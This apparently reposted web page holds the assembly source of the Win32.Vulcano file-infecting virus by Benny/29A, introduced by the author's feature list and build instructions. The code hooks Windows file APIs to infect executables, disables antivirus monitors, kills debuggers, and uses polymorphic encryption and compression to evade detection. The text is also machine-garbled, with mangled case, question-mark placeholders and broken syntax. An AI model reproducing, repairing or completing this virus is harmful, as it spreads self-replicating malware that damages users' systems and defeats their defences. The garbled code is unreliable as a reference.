Win32

xiaoxiao2021-03-05  29

; ??????? ??????? ???????

; ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????

Win32.vulcano ?????? ?????????????

BY BENNY / 29A ??????? ?????????????

; ??????? ?????????????

;

;

;

Description

; ????????????

;

;

Hello Everybody,

;

I Was Wrong. NOT Begemot, But Vulcano is My Best Virus: d. It has lot of nice

And NEVER PUBLISHED FEATURES AND IS OFCOZ, VERY OPTIMIZED. I Hope U Will

Like, Coz this TOOK Me Much Time To Code and Even More Time To Test It. Here

Comes a little description of this. heh, this is my best Virus and it Has Very

Small description - I don't know how to better present it tour Just Write

A List of its features. Enjoy it!

;

This Virus IS:

; - The First Multiprocess Win32 (Win95 / 98 / NT / 2K Compatible)

; Virus with interprocess communication (!!!)

: - Per-Process Resident Multithreaded Fast Mid-Infector

Polymorphic Using Two Layers - Advanced BPE32 and

Second Semi-Morpher

; - Compressed use BCE32

; - Heavilly Armoured

; - CRC32 protected

Undetectable by any Antivirus

;

This Virus Uses:

; - structured exception handling

; - EPO ROUTIES (Virus Patches One Imported API)

; - Crc32 Records Instead of Raw Ansi Strings

; - Anti- * routines

: - Pentium and undocunted Instructions (Also In Poly Decryptor)

;

This Virus Doesn't:

; - Infect System Files

; - Infect Files Which Doesn't Contain. BRELOC Section

; - Infect Small Files

- enlarge file

; - Contain Any PayLoad

;

This Virus Is Able TO:

; - deActivate Some av monitors

; - Infect EXE / SCR / SFX / CPL / DAT / BAK FILES

; - overwrite reelocations

; - Communicate with other instances of virus. INSTANCES OF VIRUS

;

And Much More. In Short Words, this Virus Presents Many New Hot Features NEVER

Been Published.

;

;

;

Interprocess Communication (IPC); ?????????????????????????

;

;

This is the best part of the varus :). The main idea is: make all actions

......................

But ifness in system, Virus Will Pass Control

To That Instance of Virus. This Very Difficult Stuff Is Realiad by File Mapping

Mirrored in swap file, mutexes and threads. That code is very optimized, but

UnfortuneEtely, IT Contains Some Bugs, Which Fortunately Aren't Much Visible.

In 99,9999% of All Cases U Won't See anything. That's Truth.

;

;

;

What WILL HAPPEN ON EXECUTION?

; ?????????????????????????

;

;

; Virus Will (After Patch API Will BE CALLED):

1) Decrypt It's Body by Polymorphic Decryptor

; 2) Decompress Virus Body

; 3) Decrypt Virus Body by 2nd Decryptor

; 4) Check Consistency of Virus Body by CRC32 - This prevents from setting

Breakpoints

; 5) CHECK for Pentium Processor

; 6) Find Base of Kernel32.dll in Memory

; 7) Find all Needed API (Using CRC32)

; 8) CREATE New Thread Which Will Hook Some API Functions

; 9) Wait for Thread Termination

; 10) CREATE / OPEN THE SPACE IN SWAP FILE AND INITIALIZE (CREATE New) Record

; for ipc

11) CREATE New Thread for IPC

; 12) jump to host

;

;

After Hooked API Call (API MANIPULATING WILES) WILL VIRUS:

1) GET File Name

; 2) Check File Properties VIA IPC

; 3) Open file, Check IT and Infect IT VIA IPC

; 4) Call Original API (Depending ON API)

;

;

After Hooked API Call (EXITPROCESS, GetLastError, ...) WILL VIRUS:

; 1) Check for Application Level Debugger Via IPC (if Found, Process Will Be

; Remotely Terminated - Veeery Nice Feature :))

; 2) Check for system level debugger (Softice) VIA IPC; 3) Check for Monitors in Memory Via IPC

; 4) Find Random File

; 5) Check IT VIA IPC

; 6) CHECK AND INFECT IT VIA IPC

;

;

IPC Thread in Memory Will:

1) Check for New Request

; 2) Do Property Action

; 3) Pass Execution To Next Thread

;

;

;

Greetz

; ???????

;

;

Darkman / 29a .... Finally I finished it! Hope u Like IT ...

BILLY_BEL ... WHERE R u? Please mail me ...

Griyo .......... u Genius!

Flush .......... No, Neni to Sice Tak Super Jako To Vase, Ale Da Se To

Snest, Doufam :)

Starzer0 ....... WHO is Axelle? X-D

;

;

;

How to build it

; ?????????????????

;

;

; TASM32-ML -M9 -Q Vulcano.asm

TLINK32 -TPE -C -X -AA -R Vulcano,, IMPORT32

Pewrsec Vulcano.exe

;

;

;

Last Notes

; ???????????

;

Yeah, I'm really happy, coz i finished That. It was very hard to code it and

Much Harder to Debug It. I Know It Has SMALL BUGS, But I Hope U Will Like

IT over the all negative assects as buggy code is. please, tell me what do u

Think About It on Irc, or by Mail. I Can Provide u binary form and if u want

To Have It, Then There's Nothing Easier Than Contact me on benny@post.cz.

The Hardest Thing to Code Was Synchronization Module. In First Versions Of

Vulcano I buy Normal Variable As Semaphores, But The Code WAS VERY SLOW AND

Buggy. Then I Recompiled It with mutexes and it worked Much Better. However,

There Is Still Code, Which I can't and don't want to change.

Last Thing: This Virus Wasn't Coded for Spreading, But Just and Only for For SPREUS

; education purposes online files with reelness table

And i Hope IT IS Kewl Virus without all those spread-features.

;

;

;

(c) 1999 Benny / 29A. Enjoy! .586p; why not;)

.MODEL FLAT; FLAT MODEL

Include Mz.inc; Include Some Important

Include pe.inc; incrude-filez

Include Win32API.inc

INCLUDE USEFUL.INC

Some INSTRUCTIONS

Push_Large_0 Equ; Push Large 0

Salc Equ; Salc Opcode

RDTCS EQU; RDTCS

; Some Equates for VLCB (VLCB = Vulcano Control Block)

VLCB_SIGNATURE EQU 00; SIGNATURE

VLCB_TSep EQU 08; Record Separator

VLCB_THANDLE EQU 00; MUTEX HANDLE

VLCB_TID EQU 04; ID OF Service

VLCB_TDATA EQU 08; DATA

VLCB_TSIZE EQU SIZEOF_WIN32_FIND_DATA 8; SIZE OF One Record

VLCB_SETWAIT EQU 00; SET DATA AND WAIT for RESULT

VLCB_Waitget EQU 01; Wait for Signalisation and Get Data

VLCB_QUIT EQU 01; Quit

VLCB_CHECK EQU 02; Check File

VLCB_INFECT EQU 03; Infect File

VLCB_Debug1 EQU 04; Check for App Level Debugger

VLCB_Debug2 EQU 05; Check for Softice

VLCB_Monitor EQU 06; Check for Avp and Amon Monitors

J_API Macro API; JMP DWORD PTR [xxxxxxxh]

DW 25ffh

API DD?

ENDM

C_API Macro API; Call DWORD PTR [xxxxxxxh]

DW 15ffh

API DD?

ENDM

EXTRN GETMODULEHANDLEA: PROC; APIS NEEDEDIN FIRST

EXTRN EXITPROCESS: Proc; Generation ONLY

.DATA; DATA Section

Vulcanoinit:; Start of Virus

SALC; undoc. Opcode to fuck emulators

Push DWORD PTR [Offset _getmoduleHandlea]; Push Original API

DDAPI = DWORD PTR $ -4

Push 400000H; Push Image Base

IMGBase = dword ptr $ -4

Pushad; Store All Registers

Call GD; Get Delta Offset

GD: POP EBP; ...

Lea ESI, [EBP _COMPRESSED_ - GD]; WHERE IS Compressed Virus

Stored

Lea EDI, [EBP DECOMPRESSED - GD]; WHERE WILL BE Virus

Decompressed

MOV ECX, 0; SIZE OF Compressed Virus

C_SIZE = DWORD PTR $ -4

; Decompression Routine from BCE32 Starts Here.

Pushad; save all regs

XOR EAX, EAX; EBP; EBP = 0

CDQ; EDX = 0

LODSB; Load Decryption Key

Push Eax; Store IT

LODSB; load first byte

Push 8; Store 8

Push Edx; Store 0

D_BITS: Push Ecx; Store ECX

Test Al, 80h; Test for 1

JNE DB0

Test Al, 0C0H; Test for 00

JE DB1

Test Al, 0a0h; test for 010

JE DB2

MOV CL, 6; ITS 011

JMP TB2

TESTB: TEST BL, 1; Is IT 1?

JNE P1

Push 0; No, Store 0

_TB_: MOV EAX, EBP; loading byte to eax

OR Al, [ESP]; SET BIT

Ror Al, 1; And make Space for Next ONE

Call cbit

RET

P1: Push 1; Store 1

JMP _TB_; and continche

DB0: XOR CL, Cl; CL = 0

MOV BYTE PTR [ESP 4], 1; STORE 1

Testbits:

Push Eax; Store IT

Push ebx; ...

MOV EBX, [ESP 20]; Load Parameter

Ror BL, Cl; Shift to Next Bit GROUP

Call testb; test bit

Ror BL, 1; Next bit

Call testb; test it

POP EBX; RESTORE REGS

POP EAX

MOV ECX, [ESP 4]; Load Parameter

BCOPY: CMP BYTE PTR [ESP 8], 8; 8. bit?

JNE DNLB; NOPE, Continue

MOV EBX, EAX; load next byte

Lodsb

XCHG EAX, EBX

MOV BYTE PTR [ESP 8], 0; And Nulify Parameter

DEC DWORD PTR [ESP]; Decrement Parameter

DNLB: SHL Al, 1; Next Bit

TEST BL, 80H; Is IT 1?

JE NB; NO, Continue

OR Al, 1; Yeah, SET BIT

NB: ROL BL, 1; Next bit

Inc Byte PTR [ESP 8]; Increment Parameter

Loop bcopy; and align next bits

POP ECX; Restore ECX

INC ECX; Test Flags

Dec ECX; ...

JNS D_BITS; if Not Sign, Jump

POP Eax; Delete Pushed Parameters

POP EAX; ...

POP EAX; ...

Popad; Restore All Regs

JMP Decompressed

CBIT: Inc EDX; Increment Counter

CMP DL, 8; BYTE FULL?

JNE N_BYTE; NO, Continue

StoSb; Yeah, Store Byte

XOR Eax, Eax; And Prepare Next One

CDQ; ...

N_BYTE: MOV EBP, EAX; Save Back Byte

RET PSHD; Quit from Procedure With One Parameter On StackDB1: MOV CL, 2; 2. Bit in Decryption Key

MOV BYTE PTR [ESP 4], 2; 2 Bit Wide

JMP TestBits; Test Bits

DB2: MOV CL, 4; 4. Bit

TB2: MOV BYTE PTR [ESP 4], 3; 3 Bit Wide

JMP TestBits; Test Bits

_COMPRESSED_DB VIRUS_END-COMPRESSED 200H DUP (?); Here Is Stored Compressed

virus body

DB Virus_END-COMPRESSED DUP (?); Here Decompressed

DB SIZE_UNINT DUP (?); and here all uninitialize

Variables

Virtual_end:; End of Virus in Memory

ENDS

.code; Start of code section

First_gen:; First Generation Code

Second Layer of Encryption

MOV ESI, Offset Encrypted; Encrypt from ...

MOV ECX, (virus_end-encrypted 3) / 4; Encrypt How Many Bytes ...

ENCRYPT1:

Lodsd; Get DWORD

XOR EAX, 1; Encrypt

MOV [ESI-4], Eax; and Store IT

Loop encrypt1;

Mov ESI, Offset Compressed; Source

MOV EDI, OFFSET _COMPRESSED_; DESTINATION

MOV ECX, Virus_END-COMPRESSED 2; SIZE

Mov EBX, Offset Workspace1; Workspace1

Mov Edx, Offset Workspace2; Workspace2

Call Bce32_compress; Compress Virus Body!

Dec EAX

MOV [c_size], eax; save compressed virus size

Push 0; Parameter for getModuleHandlea

Call Vulcanoinit; Call Virus Code

Push 0; Parameter for EXITPROCESS

Call EXITPROCESS; this Will Behooked by Virus L8R

COMPRESSION ROM BCE32 Starts Here. This is used.

BCE32_COMPRESS PROC

Pushad; save all regs

Stage 1

Pushad; and Again

CREATE_TABLE:

Push Ecx; Save for L8R Usage

Push 4

POP ECX; ECX = 4

LODSB; Load Byte To Al

L_Table: Push Eax; Save IT

XOR EDX, EDX; EDX = 0

And Al, 3; this Stuff Will Separate and Test

JE ST_END; BIT GROUPS

CMP AL, 2

Je ST2

CMP Al, 3

Je ST3

ST1: inc Edx; 01

JMP ST_END

ST2: Inc EDX; 10inc EDX

JMP ST_END

ST3: MOV DL, 3; 11

ST_END: ​​INC DWORD PTR [EBX 4 * EDX]; Increment Count In Table

POP EAX

Ror Al, 2; Next Bit Group

LOOP L_TABLE

POP ECX; Restore Number of Bytes

Loop Create_Table; Next Byte

Push 4; this will check for same number

POP ECX; ECX = 4

RE_T: CDQ; EDX = 0

T_loop: MOV Eax, [EBX 4 * EDX]; Load Dword

INC DWORD PTR [EBX 4 * EDX]; Increment IT

CMP EAX, [EBX]; test for Same Numbers

Je _inc_; ...

CMP EAX, [EBX 4]; ...

Je _inc_; ...

CMP EAX, [EBX 8]; ...

Je _inc_; ...

CMP EAX, [EBX 12]; ...

JNE Ninc_; ...

_inc_: incd DWORD PTR [EBX 4 * EDX]; Same, Increment IT

Inc ECX; Increment Counter (Check It in Next Turn)

NINC_: CMP DL, 3; TABLE OVERFLOW?

JE RE_T; YEAH, ONCE AGAIN

Inc EDX; Increment Offset To Table

Loop t_loop; loop

Popad; Restore Regs

Stage 2

Pushad; save all regs

MOV ESI, EBX; Get Pointer to Table

Push 3

POP EBX; EBX = 3

MOV ECX, EBX; ECX = 3

Rep_sort:; bubble sort = the biggest value will

; Always "Bubble Up", SO We know Number

Steps

Push Ecx; Save IT

MOV ECX, EBX; SET POINTERZ

Mov EDI, EDX; ...

Push EDX; Save IT

LODSD; LOAD DWORD (Count)

Mov Edx, EAX; Save IT

Sort: lodsd; loading next

CMP EAX, EDX; IS IT Bigger

JB Noswap; No, Store IT

Xchg Eax, EDX; Yeah, Swap DWORDS

Noswap: StOSD; Store IT

Loop Sort; Next DWORD

Mov Eax, Edx; Biggest in Edx, SWAP IT

Stosd; and store

Lea ESI, [EDI-16]; Get Back Pointer

POP EDX; Restore Regs

POP ECX

Loop rep_sort; and try next dword

Popad

Stage 3

Pushad; save all regs

XOR Eax, Eax; EAX = 0

Push Eax; Save IT

Push 4

POP ECX; ECX = 4

N_Search:

Push EDX; Save Regs

Push ECX

Lea ESI, [EBX 4 * EAX]; Get Pointer to Table

Push Eax; Store Reglodsd; Load Dword To EAX

Push 3

POP ECX; ECX = 3

Mov Edi, ECX; SET POINTERZ

Search: MOV ESI, EDX

Push Eax; Save IT

LODSD; loading next

MOV EBP, EBP

POP EAX

CMP EAX, EBP; END?

JE END_SEARCH

Dec Edi; Next Search

Add EDX, 4

Loop Search

END_SEARCH:

POP EAX; and Next Step

INC EAX

POP ECX

POP EDX

Add [ESP], EDI

ROL BYTE PTR [ESP], 2

Loop n_search

POP [ESP.PUSHAD_EBX]; Restore All

POPAD; ...

; Stage 4

XOR EBP, EBP; EBP = 0

XOR EDX, EDX; EDX = 0

MOV [EDI], BL; Store Decryption Key

Inc EDI; Increment Pointer

Next_BYTE:

XOR Eax, Eax; EAX = 0

Push ECX

LODSB; Load Next Byte

Push 4

POP ECX; ECX = 4

Next_bits:

Push Ecx; Store Regs

Push EAX

And Al, 3; Separate Bit Group

Push Ebx; Compare with Next Group

And BL, 3

CMP AL, BL

POP EBX

JE CB0

Push Ebx; Compare with Next Group

Ror BL, 2

And BL, 3

CMP AL, BL

POP EBX

JE CB1

Push Ebx; Compare with Next Group

Ror BL, 4

And BL, 3

CMP AL, BL

POP EBX

JE CB2

Push 0; store bit 0

Call copy_bit

Push 1; Store Bit 1

Call copy_bit

CB0: Push 1; Store Bit 1

END_CB1: Call Copy_bit

POP EAX

POP ECX

Ror Al, 2

Loop next_bits; next bit

POP ECX

Loop next_byte; Next byte

Mov Eax, EDI; Save New Size

Sub eax, [esp.pushad_edi]; ...

MOV [ESP.PUSHAD_EAX], EAX; ...

Popad; Restore All Regs

CMP EAX, ECX; Test for Negative Compression

JB C_OK; POSTIVE COMPRESSION

STC; CLEAR FLAG

Ret; and quit

C_OK: Clc; Negative Compression, Set Flag

Ret; and quit

CB1: Push 0; Store Bit 0

END_CB2: CALL COPY_BIT

Push 0; store bit 0

JMP END_CB1

CB2: Push 0; Store bit 0

Call copy_bit

Push 1; Store Bit 1

JMP END_CB2

COPY_BIT:

MOV EAX, EBP; Get Byte from EBP

SHL Al, 1; Make Space for Next Bit

OR Al, [ESP 4]; SET BIT

JMP cbitbce32_compress endp; End of Compression Procedure

Compressed:; Compressed Body Starts Here

@Seh_setupframe; setup SEH FRAME

Call gdlta; Calculate Delta Offset

GDELTA: DD DDFINDFIRSTFILEA-GDELTA; Addresses

DD DDFINDNEXTFILEA-GDELTA; of Variables

DD ddfindclose-gdelta; WHERE WILL

DD DDSETFILEATTRIBUTESA-GDELTA; Be store

DD DDSETFILETIME-GDELTA; Addresses of Apis

DD DDCREATEFILEA-GDELTA

DD DDCREATEFILEMAPPINGA-GDELTA

DD DDMAPVIEWOFFILE-GDELTA

DD DDUNMAPVIEWOFFILE-GDELTA

DD DDCREATHREAD-GDELTA

DD DDWAITFORSINGLEOBJECT-GDELTA

DD DDCLOSEHANDLE-GDELTA

DD DDCREATEMUTEXA-GDELTA

DD DDRELESEMUTEX-GDELTA

DD DDOPENMUTEXA-GDELTA

DD DDSLEP-GDELTA

DD DDVIRTUALPROTECT-GDELTA

DD DDGETCURRENTPROCESSID-GDELTA

DD DDOPENPROCESS-GDELTA

DD DDTERMINATEPROCESS-GDELTA

DD DDLOADLIBRARYA-GDELTA

DD DDGETPROCADDRESS-GDELTA

DD DDFREELIBRARY-GDELTA

DD?; End of Record

Newhookers:

DD newfindfirstfilea-gdelta; addresses of api hookers

DD NewFindNextFilea-GDELTA

DD NewcopyFilea-GDELTA

DD NewcopyFileExa-GDELTA

DD newcreatefilea-gdelta

DD NewCreateProcessa-GDELTA

DD Newdeletefilea-GDELTA

DD NewGetfileAttributesa-gdelta

DD NewGetFullPathnamea-gdelta

DD New_LOPEN-GDELTA

DD newmovefilea-gdelta

DD newmovefileexa-gdelta

DD Newopenfile-GDELTA

Dd NewsetFileAttributesa-gdelta

DD newwinexec-gdelta

DD NewExitProcess-GDELTA

DD NewExitthread-GDELTA

DD NewGetLastError-GDELTA

DD NewCloseHandle-GDELTA

DD?; End of Record

Oldhookers:

DD OldFindFirstFilea-gdelta; addresses, Where will be

DD OldFindNextFilea-gdelta; stored Original

DD OldcopyFilea-gdelta; API Callers

DD OldcopyFileExa-GDELTA

DD OldcreateFilea-GDELTA

DD OldcreateProcessa-GDELTA

DD Olddeletefilea-gdelta

DD OldGetFileAttributesa-gdelta

DD OldGetFullPathnamea-gdeltadd old_lopen-gdelta

DD OldMoveFilea-GDELTA

DD OldMovefileExa-gdelta

DD Oldopenfile-GDELTA

DD OldsetFileAttributesa-gdelta

DD Oldwinexec-GDELTA

DD OldexitProcess-GDELTA

DD Oldexitthread-GDELTA

DD OldgetLastError-GDELTA

DD OldCloseHandle-GDELTA

GDLTA: POP EBP; GET DELTA OFFSET

Lea ESI, [EBP Encrypted - Getlta]; Get Start of Encrypted Code

MOV ECX, (virus_end-encrypted 3) / 4; Number of DWords to Encrypt

Push es; save selector

Push DS

POP ES; ES = DS

Decrypt: Lodsd; Load Dword

XOR Eax, 1; Decrypt IT

Mov ES: [ESI-4], EAX; Save DWord with Antiav (usage of

Loop Decrypt; Selectors

Encrypted:; Encrypted Code Starts Here

POP ES; Restore SELECTOR

LEA ESI, [EBP CRC32PROT - GDELTA]; Start of CRC32 Protected Code

Mov edi, virus_end-crc32prot; Size of That

Call CRC32; Calculate CRC32

CMP Eax, 05BB5B647H; Check for consistency

CRC32PROT:

JNE JMP_HOST; JUMP to Host IF Breakpoints Set and Such

Pentium Check

Pushhad

Pushfd; save eflags

POP EAX; Get Them

Mov ECX, EAX; Save them

OR EAX, 200000H; Flip ID Bit in EFLAGS

Push Eax; Store

POPFD; Flags

Pushfd; Get Them Back

POP EAX; ...

XOR EAX, ECX; Same?

JE END_CC; Shit, WE R on 486-

XOR Eax, Eax; EAX = 0

Inc EAX; EAX = 1

CPUID; cpuid

And Eax, 111100000000B; Mask Processor Family

CMP AH, 4; Is IT 486?

JE end_cc; baraaaaad

Popad

Mov Eax, DS; this Will FUCK

Push Eax; Some Old Versions

POP DS; of NODICE

MOV EBX, DS

XOR EAX, EBX

JNE JMP_HOST

Mov Eax, 77F00000H; Winnt 4.0 K32 Image Base

Call get_base

JECXZ K32_FOUND; We Got Image Base

Mov Eax, 77e00000H; Win2k K32 Image Base

Call get_base

JECXZ K32_FOUND; We Got Image Base

Mov Eax, 77ed0000h; Win2k K32 Image Base

Call get_base

JECXZ K32_FOUND; We got Image Basemov Eax, 0BFF70000H; WIN95 / 98 K32 Image Base

Call get_base

Test ECX, ECX

JNE JMP_HOST; Base of K32 Not Found, Quit

Push CS

Lea EBX, [EBP K32_FOUND - GDELTA]; Continue on Another Label

Push EBX

Retf; fuck u emulator! :)

END_CC: POPAD; Restore All Registers

JMP jmp_host; and jump to host

DB 'Win32.Vulcano by Benny / 29a'; Little Signature :)

K32_Found:

MOV EBX, [ESP.CPUSHAD 8]; Get Image Base Of APP

MOV [EBP GMHA - GDELTA], EBX; Save IT

Add EBX, [EBX.MZ_LFANEW]; Get to PE Header

Lea ESI, [EBP CRCAPIS - GDELTA]; Start of CRC32 API TABLE

MOV EDX, EBP; Get Table of Pointers

S_ET: MOV EDI, [EDX]; GET ITEM

TEST EDI, EDI; IS IT 0?

JE end_et; yeah, work is done

Add Edi, EBP; Normalize

Push Eax; Save EAX

Call search; Search for API

STOSD; Save ITS ADDRESS

Test Eax, Eax; WAS it 0?

POP Eax; Restore EAX

Je jmp_host; yeah, error, quit

Add ESI, 4; CORRECT POINTERS

Add Edx, 4; To Pointers ...

JMP S_ET; LOOP

GET_BASE:

Pushad; save all registers

@Seh_setupframe; setup SEH FRAME

XOR ECX, ECX; SET Error Value

Inc ECX

CMP Word Ptr [EAX], image_dos_signature; is it exe?

JNE ERR_GBASE; NO, Quit

Dec Ecx; Yeah, Set Flag

Err_GBase:; and quit

@Seh_removeframe; Remove SEH FRAME

MOV [ESP.PUSHAD_ECX], ECX; Save Flag

Popad; restore all registers

Ret; and quit from procedure

END_ET: Lea Eax, [EBP TMP - GDELTA]; Now We will create new

Push Eax; Thread to Hide Writing to

XOR EAX, Eax; Import Table

Push EAX

Push EBP; Delta Offset

Lea Edx, [EBP NewTHREAD - GDELTA]; Address of Thread Procedure

Push Edx

Push eax; and other shit to stack

Push EAX

MOV EAX, 0

DDCREATTHREAD = DWORD PTR $ -4

Call Eax; Create Thread!

Test Eax, Eax; Is EAX = 0? JE JMP_HOST; YEAH, Quit

Push Eax; Parameter for CloseHandle

Push -1; infinite loop

Push Eax; Handle of Thread

Call [EBP DDWAITFORSINGLEOBJECT - GDELTA]; WAIT for Thread Termination

Call [EBP DDCLOSEHANDLE - GDELTA]; Close Thread Handle

Now WE WILL CREATE SPACE in Shared Memory for VLCB Structure

Call @vlcb

DB 'VLCB', 0; Name of Shared Area

@VLCB: Push 2000H; Size of Area

PUSH 0

Push Page_Readwrite

PUSH 0

Push -1; swap file!

Call [EBP DDCREATEFILEMAPPINGA - GDELTA]; OPEN AREA

Test Eax, EAX

JE JMP_HOST; Quit IF Error

XOR EDX, EDX

Push Edx

Push Edx

Push Edx

Push file_map_write

Push EAX

Call [EBP DDMAPVIEWOFFILE - GDELTA]; MAP View of File to Address

XCHG EAX, EDI; Space of Virus

Test EDI, EDI

JE end_gd1; quit if error

MOV [EBP VLCBBASE - GDELTA], EDI; Save Base Address

Now We Will Create Named Mutex

Call @@@ 1; push address of name

@@ 1: DD 0; Random Name

@@@ 1: RDTCS; Get Random Number

Mov EDX, [ESP]; Get Address of Name

SHR Eax, 8; Terminate String with / 0

MOV [EDX], EAX; and Save IT

MOV ESI, [ESP]; Get Address of Generated Name

PUSH 0

PUSH 0

MOV EAX, 0

DDCReateMutexa = DWORD PTR $ -4

Call Eax; CREATE MUTEX

Test Eax, EAX

JE end_gd2; quit if error

Now We Will Initialize VLCB Structure

XOR EDX, EDX; EDX = 0

MOV EAX, EDI; Get Base of VLCB

MOV [Eax.Vlcb_signature], 'BCLV'; Save Signature

; NOW WE WILL Initialize Record for Thread

MOV ECX, 20; 20 Communication Channels

SR_T: CMP DWORD PTR [EDI.VLCB_TSEP.VLCB_THANDLE], 0; Check Handle

JNE TNEXT; if Already Reserved, THEN TRY NEXT

MOV ESI, [ESI]; Get Name of Mutex

MOV [edi.vlcb_tsep.vlcb_thandle], ESI; Save IT

MOV [EBP T_NUMBER - GDELTA], EDX; and Save ID Number of Mutexlea Eax, [EBP TMP - GDELTA]; CREATE New THREAD

Push Eax; for IPC

XOR EAX, EAX

Push EAX

Push EBP

Lea Edx, [EBP MTHREAD - GDELTA]; Address of Thread Procedure

Push Edx

Push EAX

Push EAX

Call [EBP DDCREATHREAD - GDELTA]; CREATE New THREAD

XCHG EAX, ECX

JECXZ END_GD3; Quit IF Error

JMP_HOST:

@Seh_removeframe; Remove SEH FRAME

Mov Eax, [ESP.CPUSHAD 4]; Save Address of Previous

MOV [ESP.PUSHAD_EAX], EAX; API Caller

Popad; Restore All Regs

Add ESP, 8; Repair Stack Pointer

Push CS; Save Selector

Push Eax; Save Offset of Api Caller

Retf; jump to host :)

TNEXT: ADD EDI, VLCB_TSIZE; Get to Next Record

Inc EDX; Increment Counter

LOOP SR_T; TRY AGAIN

JMP JMP_Host; Quit IF More Than 20 Viruses R in Memory

END_GD3: PUSH ESI

Call [EBP DDCLOSEHANDLE - GDELTA]; Close Mutex

END_GD2: PUSH DWORD PTR [EBP VLCBBASE - GDELTA]

Call [EBP DDUNMAPVIEWOFFILE - GDELTA]; Unmap VLCB

END_GD1: Push EDI

Call [EBP DDCLOSEHANDLE - GDELTA]; Close Mapping Of File

JMP jmp_host; and jump to host

GTDELTA: Call Mgdlta; Procedure Used to getting

Mgdelta: DB 0B8H; Fuck u Disassemblers

Mgdlta: POP EBP; Get IT

Ret; and quit

NewFindFirstFilea:; Hooker for FindfirstFilea API

Push DWORD PTR [ESP 8]; Push Parameters

Push DWORD PTR [ESP 8]; ...

C_API OldFindFirstFilea; Call Original API

p_file: pushad; store all registers

Call gtdelta; get delta

MOV EBX, [ESP.CPUSHAD 8]; Get Win32 Find Data

Call Check & Infect; Try to Infect File

Popad; restore all registers

Ret 8; and quit

NewFindNextFilea:

Push DWORD PTR [ESP 8]; Push Parameters

Push DWORD PTR [ESP 8]; ...

C_API OldFindNextFilea; Call Previous APIJMP P_FILE; and Continue

Process_file:

Pushad; Store All Registers

Call gtdelta; get delta offset

Lea ESI, [EBP WFD2 - Mgdelta]; Get Win32_Find_Data

Push ESI; SAVE IT

Push DWORD PTR [ESP.CPUSHAD 0CH]; Push Offset To FileName

Call [EBP DDFINDFIRSTFILEA - MGDELTA]; Find That File

INC EAX

JE END_PF; Quit IF Error

Dec EAX

XCHG EAX, ECX; Handle To ECX

MOV EBX, ESI; WFD to EBX

Call Check & Infect; Check and Infect IT

Push ECX

Call [EBP DDFINDCLOSE - MGDELTA]; Close Find Handle

END_PF: POPAD; Restore All Registers

Ret; and quit

Generic Hookers for Some Apis

NewcopyFileExa:

Call Process_file

J_API OldcopyFileExa

NewcopyFilea:

Call Process_file

J_API OldcopyFilea

NewCreateFilea:

Call Process_file

J_API OldcreateFilea

NewCreateProcessa:

Call Process_file

J_API OldCreateProcessa

Newdeletefilea:

Call Process_file

J_API Olddeletefilea

NewgetFileAttributesa:

Call Process_file

J_API OldGetFileAttributesa

NewGetFullPathnamea:

Call Process_file

J_API OldGetFullPathNamea

NEW_LOPEN:

Call Process_file

J_API OLD_LOPEN

NewMovefilea:

Call Process_file

J_API OldMovefilea

NewMovefileExa:

Call Process_file

J_API OldMoveFileExa

NEWOPENFILE:

Call Process_file

J_API Oldopenfile

NewsetFileAttributesa:

Call Process_file

J_API OldsetFileAttributesa

Newwinexec:

Call Process_file

J_API Oldwinexec

Open_driver:

XOR Eax, Eax; EAX = 0

Push eax; parameters

PUSH 4000000H; for

Push Eax; CreateFilea

Push Eax; API

Push Eax; Function

Push Eax; ...

Push EBX

Call [EBP DDCREATEFILEA - MGDELTA]; Open Driver

RET

Close_Driver:

Push Eax; Close ITS Handle

Call [EBP DDCLOSEHANDLE - MGDELTA]

RET

Common_stage:; infect files in curr. DirectoryPushad

Call gtdelta; get delta offset

MOV ECX, FS: [20h]; Get Context Debug

JECXZ N_DEBUG; if Zero, Debug is Not Present

K_Debug: MOV Eax, 0

DDGETCURRENTPROCESSID = DWORD PTR $ -4

Call Eax; Get ID Number of current Process

Call VLCB_STUPH; Common Stuph

Lea ESI, [EBP DATA_BUFFER - MGDELTA]

Mov DWORD PTR [ESI.WFD_SZALTERNATEFILENAME], EBP; Set Random Data

MOV EBX, VLCB_Debug1; Kill Debugger

Call get_set_vlcb; ipc!

VLCB_STUPH:

XOR EDX, EDX; Random Thread

Dec edx

MOV ECX, VLCB_SetWait; Set and Wait For Result

RET

N_debug: Call VLCB_Stuph; Common Stuph

Lea ESI, [EBP DATA_BUFFER - MGDELTA]

Mov DWORD PTR [ESI.WFD_SZALTERNATEFILENAME], EBP; Set Random Data

MOV EBX, VLCB_Debug2; Check for Softice

Call get_set_vlcb; ipc!

MOV Eax, DWORD PTR [ESI.WFD_SZALTERNATEFILENAME]; Get Result

Dec EAX

Test Eax, EAX

Je endep; quit if softice in membrate

Call VLCB_STUPH; Common Stuph

Lea ESI, [EBP DATA_BUFFER - MGDELTA]

Mov DWORD PTR [ESI.WFD_SZALTERNATEFILENAME], EBP; Set Random Data

MOV EBX, VLCB_Monitor; Kill Monitors

Call get_set_vlcb; ipc!

Lea EBX, [EBP WFD - MGDELTA]; Get Win32 Find Data

Push Ebx; Store ITS Address

Call star

DB '*. *', 0; CREATE MASK

Star: MOV Eax, 0

DDFINDFIRSTFILEA = DWORD PTR $ -4

Call Eax; Find file

INC EAX

Je endep; if error, Then Quit

Dec EAX

MOV [EBP FHANDLE - MGDELTA], EAX; Store Handle

Call Check & Infect; and try to infect file

Findf: Lea EBX, [EBP WFD - MGDELTA]; Get Win32 Find Data

Push Ebx; Store Address

Push_Large_0; Store Handle

Fhandle = DWORD PTR $ -4

MOV EAX, 0

DDFINDNEXTFILEA = DWORD PTR $ -4

Call Eax; Find next file

XCHG EAX, ECX; Result to ECX

Jecxz endep2; no more files, quitcall check & infect; try to infect file

JMP Findf; Find Another File

Endep2: Push DWORD PTR [EBP FHANDLE - MGDELTA]; Store Handle

MOV EAX, 0

DDFINDCLOSE = DWORD PTR $ -4

Call Eax; Close IT

Endep: popad

RET

NewExitProcess:; Hooker for EXITPROCESS API

Pushhad

Call Common_Stage; Infect Files in Current Directory

Call gtdelta; get delta offset

MOV EDX, [EBP T_Number - Mgdelta]; Get ID Number of Thread

Push Edx

MOV ECX, VLCB_SetWait; Set and Wait For Result

Lea ESI, [EBP DATA_BUFFER - MGDELTA]

MOV DWORD PTR [ESI.WFD_SZALTERNATEFILENAME], EBP

MOV EBX, VLCB_QUIT; Terminate Thread

Call get_set_vlcb; ipc!

POP EDX; Number of Thread

Imul EDX, VLCB_TSIZE; NOW WE WILL

Push VLCB_TSIZE / 4; ERASE THREAD

POP ECX; Record

